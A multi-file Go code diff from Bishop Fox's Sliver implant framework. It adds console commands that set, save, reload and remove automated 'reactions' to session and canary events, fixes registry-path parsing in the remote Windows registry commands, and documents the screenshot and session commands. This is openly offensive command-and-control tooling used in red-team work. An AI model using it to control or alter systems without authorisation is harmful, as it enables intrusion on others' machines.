}
if totalReactions == 0 {
con.PrintInfof("No reactions set\n")
}
}
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
// Title
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
// Table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tCommands\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Commands")),
)
for _, react := range reactions {
fmt.Fprintf(table, "%d\t%s\t\n",
react.ID, strings.Join(react.Commands, ","),
)
}
table.Flush()
con.Printf("%s", outputBuf.String())
}
// EventTypeToTitle - Convert an eventType to a more human friendly string
func EventTypeToTitle(eventType string) string {
switch eventType {
case consts.SessionOpenedEvent:
return "Session Opened"
case consts.SessionClosedEvent:
return "Session Closed"
case consts.SessionUpdateEvent:
return "Session Updated"
case consts.CanaryEvent:
return "Canary Trigger"
case consts.WatchtowerEvent:
return "Watchtower Trigger"
default:
return eventType
}
}
+48
View File
@@ -0,0 +1,48 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ReactionSaveCmd - Manage reactions to events
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
return
}
confirm := false
prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
n, err := LoadReactions()
if err != nil {
con.PrintErrorf("Failed to load reactions: %s\n", err)
}
con.Println()
con.PrintInfof("Reloaded %d reactions from disk\n", n)
}
+46
View File
@@ -0,0 +1,46 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
)
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := SaveReactions(core.Reactions.All())
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk\n")
}
}
+106
View File
@@ -0,0 +1,106 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
)
var (
// ErrNonReactableEvent - Event does not exist or is not supported by reactions
ErrNonReactableEvent = errors.New("non-reactable event type")
)
// ReactionSetCmd - Set a reaction upon an event
func ReactionSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
eventType, err := getEventType(ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Setting reaction to: %s\n", EventTypeToTitle(eventType))
con.Println()
rawCommands, err := userCommands()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
commands := []string{}
for _, rawCommand := range strings.Split(rawCommands, "\n") {
if rawCommand != "" {
commands = append(commands, rawCommand)
}
}
reaction := core.Reactions.Add(core.Reaction{
EventType: eventType,
Commands: commands,
})
con.Println()
con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID)
}
func getEventType(ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
rawEventType := ctx.Flags.String("event")
if rawEventType == "" {
return selectEventType(con)
} else {
for _, eventType := range core.ReactableEvents {
if eventType == rawEventType {
return eventType, nil
}
}
return "", ErrNonReactableEvent
}
}
func selectEventType(con *console.SliverConsoleClient) (string, error) {
prompt := &survey.Select{
Message: "Select an event:",
Options: core.ReactableEvents,
}
selection := ""
err := survey.AskOne(prompt, &selection)
if err != nil {
return "", err
}
for _, eventType := range core.ReactableEvents {
if eventType == selection {
return eventType, nil
}
}
return "", ErrNonReactableEvent
}
func userCommands() (string, error) {
text := ""
prompt := &survey.Multiline{
Message: "Enter commands: ",
}
err := survey.AskOne(prompt, &text)
return text, err
}
+84
View File
@@ -0,0 +1,84 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
)
// ReactionUnsetCmd - Unset a reaction upon an event
func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
reactionID := ctx.Flags.Int("id")
if reactionID == 0 {
reaction, err := selectReaction(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
reactionID = reaction.ID
}
success := core.Reactions.Remove(reactionID)
if success {
con.Println()
con.PrintInfof("Successfully removed reaction with id %d", reactionID)
} else {
con.PrintWarnf("No reaction found with id %d", reactionID)
}
con.Println()
}
func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
allReactions := core.Reactions.All()
for _, react := range allReactions {
fmt.Fprintf(table, "%d\t%s\t%s\t\n",
react.ID, react.EventType, strings.Join(react.Commands, ", "),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove blank line at the end
// Prompt user with options
prompt := &survey.Select{
Message: "Select a reaction:",
Options: options,
}
selection := ""
err := survey.AskOne(prompt, &selection)
if err != nil {
return nil, err
}
for index, option := range options {
if option == selection {
return &allReactions[index], nil
}
}
return nil, errors.New("reaction not found")
}
+13 -4
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
@@ -48,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+77
View File
@@ -0,0 +1,77 @@
package registry
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
path := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
regPath := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.ValueNames) > 0 {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
con.Println(val)
}
}
+18 -5
View File
@@ -70,8 +70,12 @@ func getType(t string) (uint32, error) {
return res, nil
}
// registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You must provide a path")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+13 -5
View File
@@ -30,7 +30,7 @@ import (
"github.com/desertbit/grumble"
)
// registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
switch valType {
case sliverpb.RegistryTypeBinary:
var (
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveSession.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: regPath,
Path: finalPath,
Type: valType,
Key: key,
StringValue: stringValue,
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+4
View File
@@ -0,0 +1,4 @@
Sessions
=========
Session related command implementations.
+1
View File
@@ -5,6 +5,7 @@ import (
"github.com/desertbit/grumble"
)
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveSession.Background()
con.PrintInfof("Background ...\n")
+4 -1
View File
@@ -34,10 +34,13 @@ import (
)
var (
ErrNoSessions = errors.New("no sessions")
// ErrNoSessions - No sessions available
ErrNoSessions = errors.New("no sessions")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions
func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.Session, error) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
Loaded 100 of 311 files, more files were not shown because too many files have changed in this diff. Show more